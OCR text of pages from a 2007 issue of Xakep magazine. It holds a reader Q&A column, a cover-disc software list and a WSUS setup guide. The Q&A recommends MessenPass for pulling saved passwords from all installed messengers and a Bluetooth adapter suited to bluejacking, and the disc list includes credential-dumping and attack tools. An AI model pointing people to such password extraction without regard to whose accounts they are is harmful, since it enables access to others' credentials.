unitsСтепан «Step» Ильин/ faq@real.xakep.ru /YOUr FAQFAQ Onhackfaq@real.xakep.ruЗадавая вопрос, подумай! Не стоит посылать мне вопросы,так или иначе связанные с хаком/кряком/фриком — для этогоесть Hack-Faq (hackfaq@real.xakep.ru), не стоит также задаватьоткровенно ламерские вопросы, ответы на которыеты при определенном желании можешь найти и сам. Я не телепат,поэтому конкретизируй вопрос, присылай как можнобольше информации.Q: Уже давно хочу попробоватьSkype для общения голосом. Благонедавно подключил себе ADSLи ширина канала теперь более чемдостаточная. Но меня мучает такойвопрос: сколько Skype будет расходоватьтрафика? Не окажется литак, что все сэкономленные на егоиспользовании деньги уйдут на оплатусчета за инет? Я по-прежнемуплачу за каждый мегабайт и искренневерю, что Skype не будет прожорливым.Но что на самом деле?A: Тут надо сразу сказать, что расход трафикасильно зависит от того кодека, который будетиспользовать программа Skype для оцифровкиречи. Один кодек передает голос с фантастическимкачеством, но большими затратами.Другой, напротив, использует возможностиканала скромно, но в тоже время достаточнодля передачи сносного качества звука.Используемый кодек выбирается автомати-/ 142xàêåðчески на основании возможностей соединенияс одной и другой стороны. В среднем,Skype использует 3-16 Кб/с. Дорого это илинет — судить тебе. Рекомендую просто выполнитьтестовый звонок и с помощью файрволапосчитать, сколько было потрачено трафика.Все сразу станет ясно.Q: Хочу купить себе к ноуту USBBluetooth адаптер. Причем не китайскийширпотреб, а хороший девайс,который будет работать в радиусе100 метров. Проще говоря, нуженинструмент для блюджекинга.Что можешь порекомендовать?A: В первую очередь, нужно обратить вниманиена стандарт, используемый в адаптере.Это должен быть Class 1, 100m, Bluetooth 2.0.Если купишь устройство с Class 2, то в лучшемслучае получишь связь с дальностью10-15 метров. Помимо этого, донгл (он жесвисток, или bluetooth-адаптер) долженподдерживать драйверы Widcomm(www.widcomm.com), так как в этом случаеудастся добиться работы устройства и необходимогодля блюджекера софта. ПроверьMAC-адрес устройства: на левых девайсахнередко вместо нормального адреса указано11:11:11:11:11:11. Если купишь адаптерс внешней антенной, который пользуетсяособой популярностью среди блюджекеров,не поленись посмотреть адаптер на свету.Дешевый пластик обычно пропускает частьсвета, и, присмотревшись, можно легко распознатьнекачественные подделки, у которыхмикросхема доходит только до середины корпуса,а антенна никуда не припаяна и приделаначисто для понта. Впрочем, ее легкоможно припаять самому, что мы показывалив видеоуроке на диске к декабрьскому номеру.Я использую адаптер Billington, которыйсоответствует всем требованиям и к тому жебез проблем работает как под виндой, таки никсами.02 /98/ 07


unitsQ: Есть компьютер в сети, которыйнаходится за маршрутизатором.Соответственно, прямого IP-адресав интернете у него нет. Но мне периодическиприходится обращатьсяк нему удаленно через глобальнуюСеть. Как быть? Единственный вариант— port-mapping?A: Конечно, проще всего настроить на серверепереадресацию портов (как раз тот самыйport-mapping), то есть сделать так, чтобызапросы, приходящие на определенный портмаршрутизатора, перенаправлялись на порткомпьютера в сети. Получается, что, обратившисьпо этому адресу и порту на маршрутизаторизвне, мы, на самом деле, обратимсяк нужному компьютеру в сети. Жаль только,что возможность самому настроить роутер естьдалеко не всегда, но зато чаще всего имеютсяальтернативные варианты. Можно, например,организовать VPN-соединение средствами,для которых маршрутизатор, файрволы и NATна пути не помеха. Одним из таких средств являетсяпрограмма Hamachi (www.hamachi.cc).Сделать с ее помощью виртуальную сетьне сложнее, чем послать сообщение по ICQ.После быстрой процедуры соединения компьютерыполучат в виртуальной сети IP-адреса,посредством которых будут работать другс другом напрямую, не обращая вниманияна какой-то там маршрутизатор. Еще одининтересный продукт, на который стоит указать,— это SSL-Explorer (http://sourceforge.net/projects/sslexplorer). С помощью него ты вообщесможешь наладить удаленный доступв сеть через обычный веб-браузер!Q: Впервые установил себе LinuxMandriva 2007, который взял с вашегодиска. Красиво, интересно, но кактеперь установить программы?Например, клиент для ICQ? Неужели,действительно, придется вручнуюкомпилировать программы?A: Открою тебе большой секрет. Для установкив систему приложений совершенно необязательнособирать их из исходников. Все давноуже сделано за тебя, и практически для любойсистемы и программы есть пакет с бинарникоми всеми сопутствующими файлами. Причемне нужно даже искать сами пакеты, так как всюгрязную работу выполняют удобные в использованиименеджеры пакетов. В итоге, установитьприложение становится даже проще, чем подвиндой. Если говорить конкретно о Mandriva,то в этой системе по умолчанию установлен менеджерпакетов Easy URPMI (http://easyurpmi.xàêåð 02 /98/ 07zarb.org). Правда, для использования его нужнопредварительно отконфигурировать, чем мысейчас и займемся. Прежде всего, для этогонужно зайти на официальный сайт приложенияи выбрать там версию установленногоу тебя дистрибутива (в твоем случае — 2007),а также архитектуру компьютера (если у тебяне 64‐битная версия Мандривы, то оставь i586).Следующий шаг — выбор источников, откудаменеджер будет закачивать пакеты. Не заморачивайсяи просто все оставляй по умолчанию,после чего уже на следующем же шаге ты получишькоманды, необходимые для конфигурациименеджера:urpmi.addmedia main ftp://mirror.pacific.net.au/MandrivaLinux/official/2007.0/i586/media/main/release with media_info/hdlist.czurpmi.addmedia --update main_updates ftp://ftp.tugraz.at/mirror/mandrake/official/2007.0/i586/media/main/updates with media_info/hdlist.czurpmi.addmedia --update contrib_updates ftp://ftp.tugraz.at/mirror/mandrake/official/2007.0/i586/media/contrib/updates with media_info/hdlist.czКаждая строка — отдельная консольнаякоманда, которую нужно выполнить с правамиадминистратора (root’а). Если система не выдалаошибок (а выдавать их при таком подходеона не должна), то можно сразу приступать к использованиюменеджера пакетов. Консольнаяверсия запускается командой urpmi, а чтобыполучить справку, достаточно набрать команду:Man urpmiQ: Как же меня достал спам! Не успеешьподписаться настоящим e-mailадресом,как он тут же попадаетв спам-листы. Ящику всего толькопару дней, а на него уже валится спам— где это видано? Что делать?A: Посмотрим на этот вопрос со стороны самихспамеров. Самый простой способ собрать спамлист(базу e-mail-адресов, на которые будет осуществлятьсярекламная рассылка) — это пуститьв инета бота, который будет парсить самыеразнообразные страницы и извлекать из нихe-mail-адреса. И если раньше помогала примитивнаямаскировка, типа изменения «step@gameland.ru» на «step(sobaka)gameland.ru»,то сейчас такой фокус едва ли пройдет. Ботыстали умнее, поэтому придется умнее поступатьи нам! Вспомни, как защищаются самыеразнообразные форумы и онлайн-сервисы отавтоматической регистрации. Чаще всего онииспользуют защиту с помощью динамическойкартинки, на которой так изображены цифрыи буквы, что их сложно разобрать автоматическойOCR-системе и в тоже время легко человеку.Собственно, а кто мешает вместо обычнойтекстовой строки с e-mail-адресом использоватькартинку, на которой он написан? Для этогодаже есть специальный сервис www.certainkey.com/demos/manglemail. Как только вводишьсвой e-mail, получаешь картинку с изображением,а также готовый тэг для вставки на страницы(например, «»). Тут главное, чтобы хозяевасервиса сами не были спамерами :).Q: Работаем с младшим братом заодним компьютером. И знаете, дажепри использовании ограниченнойучетной записи он умудряется напортачитьв системе. Как бы поместитьего в некоторую оболочку, в которойон мог бы делать все что захочети в тоже время не нарушал бы моедушевное равновесие?A: Лучше всего, конечно, обойтись стандартнымисредствами винды. Можешь, например,создать для него одну единственную папку(с бинарниками нужных приложений, музыкой,играми и т.д.) и ограничить ею доступк файловой системе. Но в этом случае он будетчувствовать себя ущемленным и навернякапопытается тебе отомстить. А вот использованиепродукта WinJail (www.winquota.com/wj)лишено подобного недостатка. В этом случаетвой братик будет запускать все приложенияв безопасном окружении (так называемомsandbox’е) и они никак не повлияют на общуюработу системы. Вместо папки ему можно будетсделать виртуальный жесткий диск и вообщепредоставить ему практически любую свободубез опаски за здоровье винды.Q: Как восстановить забытый парольот интернет-мессенджера?A: Раньше бы я сказал, что все зависит отконкретного приложения: для ICQ или Mirandaпотребовалось бы одно приложение, но длявскрытия, например, Google Talk — совсемдругое. Сейчас же могу тебе посоветовать одинуниверсальный инструмент. MessenPass(www.nirsoft.net/utils/mspass.html) выдаст паролипочти что от всех установленных в системемессенджеров. То что нужно! z/ 143


x№ 02(98) ФЕВРАЛЬ 2007>> WINDOWS> Daily Soft&RQ 0.9.7.37-Zip 4.43 BetaACDSee 9Agnitum Outpost FirewallPRO 4.0.1005.590.123Alcohol 120% 1.9.6.4719Cute FTP Professional 8DAEMON Tools v4.08Dot.net Framework 3.0Download Master 5.2.2.1059Far Manager 1.70Flashget 1.80 beta 3Gaim 2.0.0 beta 4Google Talk 1.0.0.82 BetaiTunes 7.0.2KishKish SAM BETA Ver. 3.6LePutty 2006.11.03Miranda IM 0.6.1mIRC 6.21Mozilla Firefox v.3.0 Alpha 1Mozilla Thunderbird 1.5.0.9Notepad 3.9Opera 9.10 InternationalQIP Build 7998Reget Deluxe 4.2.265SecureCRT 5.2.1Semagic 1.5.9.9SIM 0.9.4Skype 3.0.209SmartFTP 2.0 Build 1000Starter v5.6.2.8Teleport Pro 1.43TheBat! v3.95.06 PROTotal Commander 7 publicBeta 3Unlocker 1.8.5Winamp 5.32Windows Live Messenger8.1 BetaWinrar 3.70Winzip 11Xakep CD DataSaver 5.1XChat 2.8.1>DevelopmentAntechinus JavaScriptEditor 8.0AutoUpdate+ 3.4Borland Developer Studio2006 ArchitectGrasshopper 2.0IDA Pro 5.0Microsoft Expression Web2007Microsoft Office 2007NET ModelKit Suite 2.3Stylus Studio 2007 XMLEnterprise SuiteTSW WebPad.NET 1.0Visual Build Professional 7.2Visual DataFlex 12Xtreme ToolkitPro 2006 Q4>MultimediaAnyReader 2.0Arturia CS-80V 1.6Awave Studio 10.0CardRecovery v3.20Cleanerzoomer 3.6aCover Commander 2.7Crazytalk 4.5 Media StudioWorksMagic Music EditorMagic Video ConverterMagic Video StudioMiniLyrics 4.6.2280MultiTranse 4.3.1Nasser fx 1Native Instruments AbsynthDXi RTAS VSTi 4Photo Collage Studiover.1.8.0PictureMan Painter 5.0.2 ProScreen Calipers 4.0Screenshot Creator 2.0 finalTrue BoxShot 1.6 BetaVideo Avatar 2.0WebGraphics Optimizer 4.2>NetAgnitum Spam Terrier 1.0.75Anonymous BrowsingToolbar 3.3BlackWidow 5.21cFos 7.04Cyclope Internet FilteringProxy 2.3HttpTrafficGen 1.6IM Gateway v.1.4iolo Personal FirewallIP Hider 2.7Okoker Shutdown Expert 1.5Pandion 2.5Ping-Probe 1.1.4PortTunnel 2.0.18.368Proxy Switcher 3.8.0Remote Installer 1.3.78SimpLite 2.2.6SolidShare 3.0.2System Privacy Shield 2.5TrafficEmulator 1.4Web Cache Illuminator 4.9.4Windows Live Mail>SecurityBlueAuditorDistributed Rainbow TableGeneration ClientMadMACsNsauditor Network SecurityAuditor 1.4.7.0OWASP JBroFuzzPWDumpX v1.0SARA 7.0.4aScubaSIP Proxy 2.0Snort IDScenter 1.1 RC4SOAPSonar Personal Edition2.7.3sqlmapTelemachustxdnsUniversal JavaScript DecoderUSB Lock RP 2.5>Server2X ApplicationServer v4.22X LoadBalancerAcronis Snap Deploy 2.0Activity Monitor 3.2Apache2Triad 1.5.4AssetDB 2.0.58BigApache for Windows 1.06GFI Network Server Monitor7.0ISA Stats 1.4SQLyog Enterprise 5.23 BETAVMware Server 1.0.1>SystemAcronis Drive Cleanser 6.0Advanced Vista CodecPackage 4.2.0Belarc Advisor 7.2.1.9Chameleon Clock v3.7Comodo Personal Firewall2.4.8.122 BetaDriveScrubber 3Folderico 3.2.1Internet Password RecoveryMaster 1.3.0.5Iolo Search and Recover 4.2KLS Backup 2006 Prov2.5.0.0Magic Burning Studio 10.2.9Magic DVD Rip StudioMagic Video ConverterMakagigaMindSoft Utilities XP 9.5Office Password RecoveryMaster 1.3.0.2Panda Internet Security 2007Parallels Workstation 2.2PC Wizard 2006Power Off 5.5-05bPowerGrep 3.3.2qliner hotkeys v.2.0.1RivaTuner 2.0 Final(25.12.2006)SiSoftware Sandra Engineer2007sTabLauncher 1.4Sticky Note 9.0WinJail 3.0.3ZoneAlarm Security Suite7.0.302.000>>UNIX>DesktopAbiword 2.4.6Bzflag 2.0.8Doom3 1.3.1302Inkscape 0.44.1Lyx 1.4.3Mirage 0.8.3Openofficeorg 2.1Quake3 1.11-6Scribus 1.3.3.7Tuxracer 0.61Vegastrike 0.4.3>DevelAutoconf 2.61Automake 1.9.6Binutils 2.17Bison 2.3Freetype 2.3.0Gcc 4.1.1Gd 2.0.33Gettext 0.16Gmake 3.81Gmp 4.2.1Gtk 2.10.9Netbeans 5.5Nvu 1.0Php 5.2.0Pkg-config 0.21Qt 4.2.2Subversion 1.4.3>LibzGlib 2.12.9Libiconv 1.11Libjpeg 6bLibmcrypt 2.5.7Libnet 0.10.11Libogg 1.1.3Libpcap 0.9.5Libpng 1.2.15Libtiff 3.8.2Libtool 1.5.22Libxml2 2.6.27Pango 1.15.4Sdl 1.2.11T1lib 5.1.0Zlib 1.2.3>MultimediaAmarok 1.4.4Audacity 1.2.6Avidemux 2.3Blender 2.42aMplayer 1.0rc1Mplayerxp 0.6.1.1Vlc 0.8.6Xine-lib 1.1.2Xine-ui 0.99.4>NetCentericq 4.21.0Fetchmail 6.3.6Firefox 2.0Gaim 2.0.0beta6Mutt 1.5.13Pptp 1.7.1Psi 0.10Rsync 2.6.9SeaMonkey 1.1Smtp-vilter 1.3.6Sylpheed 2.3.1Thunderbird 2.0b2Tightvnc 1.2.9Wget 1.10.2Xchat 2.8.0>SecurityClamav 0.88.7Ettercap 0.7.3Fwbuilder 2.1.8Gnupg 2.0.1John 1.7.2Kismet 2007-01-R1bMcrypt 2.6.4Nmap 4.20Openssl 0.9.8dRats 2.1Stunnel 4.20Sudo 1.6.8p12Tcpdump 3.9.5>ServerApache 2.2.4Bind 9.3.4Courier-imap 4.1.2Cups 1.2.7Dhcp-3.0.5Dovecot 1.0.rc19Mysql 5.0.33Nut 2.0.5Openldap 2.3.33Openssh 4.5p1Openvpn 2.0.9Postfix 2.3.6Postgresql 8.2.1Pure-ftpd 1.0.21Samba 3.0.23dSendmail 8.13.8Snort 2.6.1.2Sqlite 3.3.8Squid 2.6STABLE9>SystemAti 8.32.5Bash 3.2Bzip2 1.0.4Cdrtools 2.01Checkinstall 1.6.1Coreutils 6.7Initng 0.6.9pre2Iptables 1.3.7Linux 2.6.19.2Madwifi 0.9.2Mc 4.6.1Nvidia 1.0-9746PortsQemu 0.8.2Vim 7.0Wine 0.9.30Zsh 4.2.6>X-DistrsFreeBSD 6.2


Как запалитьхакераЛовим взломщиков с помощью SnortPostgreSQLили MySQL?Грамотно ставим обе системыПольза и вредRAID-массивовРассказывает Крис КасперскиВластелинобновленийWSUS: сервис централизованного управленияобновлениями и исправлениями3 видео для крутыхадминовС них для тебя начнется многое


ХАКЕР.PROСергей «grinder» Яремчук/ grinder@ua.fm /ВластелинобновленийWSUS: сервис централизованного управления обновлениями и исправлениямиСвоевременная установка обновлений и исправлений является одним из факторов, обеспечивающихнадежную защиту информационной системы. Индивидуальное обновление систем приведет к существенномуувеличению трафика и потребует большего внимания со стороны администратора. В 2002 годукорпорация Microsoft предложила бесплатный продукт для управления обновлениями — SUS (SoftwareUpdate Services), который сейчас заменен более мощным решением — WSUS (Windows Server UpdateServices).Как работает WSUSлужба WSUS предназначена для централизованногоуправления обновлениями и исправлениямипродуктов Microsoft: Windows 2000SP4/XP/2003/Vista, Office XP/2003, ExchangeServer, SQL Server и других. По мере выходановых продуктов этот список автоматическиобновляется. Служба WSUS состоит из сервернойи клиентской части. Серверная частьустанавливается внутри сети и подменяетсобой Microsoft Update, к которому подключаютсяклиенты за обновлениями при настройкепо умолчанию. Такой подход предоставляетмножество преимуществ. Так, все обновленияскачиваются с сайта Microsoft только одинраз. Администратор может самостоятельновыбрать тип обновлений, остановившись,например, только на критических обновленияхбезопасности и драйверах, а также указатьязык. Причем теперь появилась возможностьпервоначально протестировать выбранныеобновления на группе компьютеров и, убедившись,что все идет нормально, разрешитьустанавливать их остальным. В разветвленныхсетях можно использовать несколько сервисовWSUS, скачивать обновления через интернетбудет только один из них. Для хранения описанийобновлений, конфигурации сервера WSUSи состояния обновлений клиентских системиспользуется база данных. Клиентом WSUSявляется служба Automatic Updates.На момент написания статьи была доступнаверсия WSUS 3.0 beta 2. Ее мы и будем дальшерассматривать, учитывая, что работает она стабильно,имеет дополнительные возможностии некоторые особенности по сравнению с предыдущейверсией 2.0, да и любая бета рано илипоздно превращается в релиз. УстановленныйWSUS 2.0 легко обновляется до 3.0, при этомбудут сохранены все предыдущие настройки,но если используется несколько серверовобновлений, то процесс модернизации долженначинаться с основного сервера.Подготовка перед установкойПеред началом установки WSUS необходимоубедиться, что компьютер и система удовлетворяютнекоторым требованиям, иначе этапроцедура может затянуться. Так, для работысервера обновлений, который будет обслуживатьдо 500 клиентов, необходим компьютерс процессором 1 Гц и 1 Гб оперативной памяти.Раздел, в который будет устанавливатьсяWSUS, должен быть отформатирован подфайловую систему NTFS и иметь не менее 6 Гбсвободного места, причем чем больше типовсистем планируется обновить, тем большетребуется свободного пространства. Еще 1 Гбсвободного места должен иметь системныйраздел и 2 Гб — раздел, на котором установленWindows SQL Server 2005 Embedded Edition (далееSQL Server 2005 EE). Операционная системадолжна быть Windows Server 2003 SP1 или Vista.Версия WSUS 2.0 поддерживала еще иWindows 2000 SP3, но в 3.0 ее из списковзависимостей вычеркнули. В дальнейшем мыбудет рассматривать установку применительнок 2003 SP1. Для установки WSUS необходимыследующие обязательные компоненты:1. Microsoft Internet InformationServices (IIS) 6.0;2. Background Intelligent TransferService (BITS) 2.0 (go.microsoft.com/fwlink/?LinkID=47251);3. Microsoft .NET FrameworkVersion 2.0 (go.microsoft.com/fwlink/?LinkID=68935);4. Microsoft Report Viewer 2005(go.microsoft.com/fwlink/?LinkID=70410).В отличие от предыдущей версии, настраивавшейсячерез веб-интерфейс, третья версияиспользует уже MMC. И для его работы потребуетсяMicrosoft Management Console 3.0(go.microsoft.com/fwlink/?LinkID=70412).Если в системе будет чего-то не хватать длякорректной установки или работы WSUS,об этом будет сообщаться в виде подсказки.В качестве SQL-сервера может использоватьсяуже названный SQL Server 2005 EE, которыйидет в комплекте WSUS, или SQL Server 2005SP1. Первый устанавливается и настраиваетсяавтоматически, поэтому нет причин от негоотказываться. В качестве клиентских машин/ 146xàêåð 02 /98/ 07


ХАКЕР.PROОдобрение обновлениямогут выступать Windows 2000 Pro/Server/Advanced Server с SP4, Windows XP Pro с SP1и выше и Windows Server 2003 всех версий.Если после установки возникнут проблемыс работой WSUS, следует проследить, чтовстроенная в Windows группа Network Serviceимеет:1. доступ для чтения (read) к каталогу, куда установленWSUS, иначе не будет работать BITS;2. полный доступ (Full Control) к каталогуWSUS\WsusContent, который так устанавливаетсяпо умолчанию, но другими сервисами,отвечающими за безопасность, можетсбрасываться;3. полный доступ к каталогам %windir%\Tempи %windir%\Microsoft .NET\Framework\v1.1.4322\Temporary ASP.NET Files.Установку могут производить только членылокальной группы «Администраторы».Напомню, что IIS 6.0 уже идет в комплектеWindows Server 2003, но по умолчанию не устанавливается.Если это еще не сделано, зайдив «Установка и удаление программ Установкакомпонентов Windows Application Server»и установи флажок напротив IIS. Теперь всеготово к установке.Устанавливаем WSUSПоследняя версия WSUS 3.0 доступна по адресуgo.microsoft.com/fwlink/?LinkId=71058.Запускаем полученный исполняемый файлWSUSSetup.exe. После анализа системы напредмет наличия всех зависимостей нам будетпредложено принять лицензионное соглашение.На следующем шаге Select Update Sourceопределяется источник клиентских обновлений.Если выбрать «Store updates locally»,сервер WSUS 3.0 будет хранить обновленияв указанном месте на локальном диске.В противном случае клиентские компьютерыбудут каждый раз загружать одобренные обновленияс сайта Microsoft. Трудно придуматьлогичное применение второго варианта в нормальныхусловиях, поэтому стоит остановитьсяна локальном хранении обновлений.Теперь переходим к выбору базы данных.По умолчанию предлагается использоватьидущий в комплекте SQL Server 2005 EE, вполнеподойдет локальный или удаленный SQL Server.Далее производится попытка подключенияк выбранной базе данных, в случае «Successfullyconnected» двигаемся дальше.На Web Site Selection выбирается веб-узел, которыйбудет использоваться WSUS. Рекомендуетсязадействовать имеющийся IIS, работающийна 80‐м порту, в качестве альтернативыпредлагается создать отдельный веб-узел,работающий уже на порту 8530. Внизу мывидим URL-адрес, к которому будут подключатьсяклиентские компьютеры для загрузкиобновлений, запоминаем его.После нажатия на «Next» смотрим итоговую информацию,и далее, собственно, осуществляетсяустановка всех компонентов WSUS. Выбравпо окончании флажок «Launch WSUS ServerConfiguration Wizard», мы получим возможностьзапустить Configuration Wizard, которыйпоможет произвести первоначальные установки.Не стоит упускать такую возможность, хотяпри желании его всегда можно запустить изосновного окна программы, зайдя в «Options WSUS Server Configuration Wizard».Настройки в Configuration WizardПо умолчанию WSUS получает обновленияс веб-узла Microsoft Update напрямую. Но еслив сети используется прокси-сервер или серверWSUS прикрыт межсетевым экраном, тогдасоответствующие настройки необходимоуказать на первых шагах мастера.Кроме того, открой исходящие соединения по80 и 443 портам и определи источник обновлений.Это может быть один из сайтов Microsoftили ранее настроенных серверов WSUS.В большинстве случаев во вкладке «ChooseUpstream Server» выбираем «Microsoft Update».А в «Specify Proxy Server» — настройки прокси,если он есть. Для заполнения полей могутпонадобиться его адрес, номер порта и данныеаутентификации. Для дальнейших настроекнеобходимо сначала получить информациюо доступных типах обновлений, продуктах,для которых поддерживается обновление, и ихязыках. Процесс получения этой информациизаймет минут 15, поэтому нажимаем «StartSynchronization» и идем спокойно пить кофе.По окончании процесса станут доступны следующиепункты и можно двигаться дальше.Первая остановка — «Choose Languages». Еслине нужно обновлять системы с корейской,японской и прочими локализациями, выбираем«Download updates only in these languages»и флажком отмечаем нужные языки. К сожалению,здесь, как и во второй версии, невозможновыбрать обновления конкретных видовпродуктов в зависимости от языка интерфейса.Например, если у тебя только один компьютерс английским языком, то придется разбиратьсяне только с обновлениями к этой системе, нои с остальными продуктами (офисом, операционнымисистемами и пр.).Продукты для обновлений указываютсяв «Choose Product». Здесь просто отмечаемфлажками, что необходимо обновлять, и переходимк «Choose Classifications», в которомдоступны следующие классы обновлений:драйверы, критические обновления, накопительныепакеты обновлений, обновленияопределений, обновления системы безопасности,обновления, пакеты новых функций,пакеты обновлений и средства. К сожалению,никаких объяснений на счет назначения техили иных функций не дано, и чтобы разобратьсяс некоторыми позициями, придется сначалазагрузить некоторые примеры. Здесь опять женельзя гибко выставить классы в зависимостиот операционных систем или приложений.В «Set Sync Schedule» указываются параметрысинхронизации. Ее можно производитьвручную, выбрав «Synchronize Manually», илиавтоматически по расписанию — «SynchronizeAutomatically». В последнем случае необходимов «First Synchronization» указать время первойсинхронизации и в «Synchronization per day»— число синхронизаций в день.xàêåð 02 /98/ 07/147


ХАКЕР.PROНастройка службы автоматического обновленияИ, наконец, последняя вкладка «Finish».Активация «Launch the Windows Server UpdateServices Administration Snap-in» после выхода измастера запустит администраторскую консоль,а выбор «Begin initial synchronization» запуститпервую синхронизацию. Но с «AdministrationSnap-in» пока спешить не будем.Настройка параметровслужбы автоматического обновленияДля возможности работы через WSUS клиентскиекомпьютеры потребуют совместимуюверсию Automatic Updates, поэтому приподключении каждой новой системы к серверуWSUS на него будет установлена совместимаяверсия. Теперь приступаем к настройке службыавтоматического обновления клиентскихкомпьютеров.Оптимальный способ настройки, естественно,зависит от сетевого окружения. Если используетсяслужба каталогов Active Directory, длянастройки клиентов можно и нужно использоватьобъекты групповой политики (GPO). Приотсутствии такой службы следует использоватьобъекты локальной групповой политики.Но в любом случае требуется указать путь ксерверу WSUS для клиентского компьютераи настроить службу автоматического обновления.Для этого необходимо выполнитьследующие действия: загрузить административныйшаблон, настроить автоматическоеобновление, указать клиенту путь к серверуWSUS. Выбираем «Пуск Выполнить», набираем«gpedit.msc». В появившемся редактореполитик открываем узел — «Конфигурациякомпьютера Административные шаблоны Компоненты Windows Windows Update».При отсутствии такого пункта необходимодобавить шаблон wuau.adm, для чего щелкнимышкой по заголовку «Административные шаблоны»,в контекстном меню выбери команду«Добавление и удаление шаблонов», затем щелкнина «Добавить» и укажи в списке на wuau.Все параметры описаны достаточно хорошо,поэтому остановлюсь только на требующихпервоначальной настройки. Первыйпараметр, к которому следует обратиться,— «Настройка автоматического обновления».Он позволяет указать, разрешаетсяли автоматическое обновление для данногокомпьютера. После включения службынеобходимо выбрать один из четырех возможныхвариантов настройки групповойполитики:1. уведомлять перед загрузкой обновленийи уведомлять повторно перед их установкой— при наличии подходящих обновлений системаинформирует пользователя о необходимостиих загрузки, а затем и об установке;2. загружать обновления автоматически и уведомлять,когда они готовы к установке — подходящиеобновления загружаются автоматическив фоновом режиме, а перед началом установкипользователю выводится сообщение;3. загружать обновления и устанавливать их позаданному ниже расписанию — выбираются днии время, когда будет производиться принудительнаязагрузка и установка обновлений, в случаенеобходимости перезагрузка будет выполненаавтоматически (если это не отменено в «Не выполнятьавтоматический повторный запуск дляавтоматических установок обновлений»);4. разрешать локальным администраторамвыбирать режим настройки — в этом случаелокальный администратор, используя «Панельуправления Центр обеспечения безопасности Автоматическое обновление», сможет сам выбиратьнастройки автоматического обновления.Следующий пункт «Указать размещениеслужбы обновлений Microsoft в интрасети»,позволяет изменить политику, указывающую/ 148xàêåð 02 /98/ 07


ХАКЕР.PROОкно Configuration WizardПример отчета WSUSна сервер в сети, на котором будет работатьвнутренняя служба обновлений. При заданииэтой политики требуется вбить два параметра:сервер, на котором клиентская программабудет искать обновления, и сервер, куда будетотправляться статистика. Можно назначитьдля обеих задач один и тот же сервер, указав егоадрес в виде http://WSUS_server/.Основные настройки выполнены. Локальныеполитики вступают в силу немедленно, и примерночерез 20 минут компьютер появитсяв списке Unassigned Computer. Политики наоснове Active Directory обновляются приблизительнокаждые 90 минут. Ускорить этот процессможно, введя в консоли на клиентском компьютерекоманду gpupdate /force и запустив поисксервера WSUS вручную: wuauclt.exe /detectnow.Создание группкомпьютеров для обновленияЕсли консоль управления WSUS еще не открыта,выбираем «Windows Server Update Services»в «Программы Администрирование». Важнойчастью настройки работы WSUS являетсясоздание групп компьютеров. Группы компьютеровпозволяют определить устанавливаемыеобновления для однородных систем. Хорошимтоном является предварительное тестированиеустанавливаемых обновлений на небольшойгруппе типичных (но не критичных) систем,а в случае нормального их функционированияв течение определенного промежутка времени,распространения и на остальные компьютеры.По умолчанию в списке присутствует двегруппы — All Computers и Unassigned. Можнодобавить любое количество групп, каких-либоограничений не существует.Возможны два способа добавления компьютеровв группы WSUS. Первый — установкаимени группы в пункте «Разрешить клиентуприсоединиться к целевой группе политикбезопасности». По умолчанию используетсявторой более гибкий и удобный вариант.Изменить поведение сервера можно, перейдяв «Options Computers». Положение переключателя«Use the Updates Service console»свидетельствует об использовании именноэтого варианта. Если переключить его в «UseGroup Policy or registry setting on computers»,принадлежность к группам задается в реестреили в групповых политиках.Теперь переходим непосредственно к созданиюгрупп. Это так же просто. Щелкнув мышкой по«Computers and Groups», выбираем в меню «AddComputer Group» и в появившемся диалоговомокне вводим название группы. Тем временемв Unassigned начинают появляться компьютеры.Для перемещения компьютера в группувыделяем компьютер или группу компьютеров,затем в контекстном меню выбираем «ChangeMembership» и в появившемся списке — нужнуюгруппу. Все.Обновление системТеперь осталось только обновить выбранные системы.Но сначала необходимо эти обновлениязагрузить, если это еще не сделано. Выбираем«Action Synchronize Now». Теперь в Updatesможно просмотреть доступные обновления.По умолчанию здесь несколько пунктов: AllUpdates, Critical Updates, Security Updates и WSUSUpdates. Для быстрого поиска обновленийвыбираем «Action Search», после чего вводимнеобходимые критерии поиска. Чтобы не повторятьэту процедуру каждый раз, выбираем «NewUpdate View» и формируем постоянный запроск базе, который после нажатия на «ОК» будетвиден в папке Update. Также обрати вниманиена фильтры Approval и Status — используя их,можно быстро отобрать обновления еще понескольким критериям. Нас сейчас интересуютAll Updates, Approval — Unapproved и Status— Any. Если щелкнуть по заголовку обновления,можно получить подробную информацию о егоназначении: критичность, продукты, возможностьудаления обновления и необходимостьпринятия лицензионного соглашения, ссылкуна страницу сайта Microsoft, содержащую болееподробную информацию.В появившемся списке выбираем необходимыеобновления поодиночке или удерживаяклавишу «Ctrl». Затем в контекстном менювыбираем «Approve», появляется диалоговоеокно Approve Updates, в котором представленыгруппы компьютеров, для разрешения их установкинеобходимо выбрать «Approve to Install».Если же обновления, наоборот, нужно удалить,то поступаем аналогичным образом, тольков меню выбираем уже «Approved for Removal».Чтобы получить отчет о произведенных обновлениях,приблизительно через сутки выбираем«Reports Update Status Summary» и, указавкритерии отбора, нажимаем «Run Report».Следует отметить, что отчеты являются однойиз сильных сторон WSUS версии 3.0.Возможно и автоматическое одобрение обновлений.Для этого следует, выбрав компьютер,нажать на «Options» и на появившейся странице— «Automatic Approvals». Затем в зависимостиот того, что требуется сделать, выбираем«New Rule» или «Install AutoDeployment Rule»и нажимаем «Edit». В диалоговом окне определяемпараметры и указываем имя правила,автоматическая установка или одобрениевыбирается в Advanced.ЗаключениеПервоначальную настройку WSUS можносчитать законченной. После произведенныхдействий сервер WSUS будет периодическиполучать обновления с Microsoft Update, а клиентскиекомпьютеры автоматически получатьодобренные обновления. Но WSUS имеет ещемного интересных функций и возможностей,таких, например, как формирование отчетови отсылка e-mail-сообщений. Успехов. zxàêåð 02 /98/ 07/149


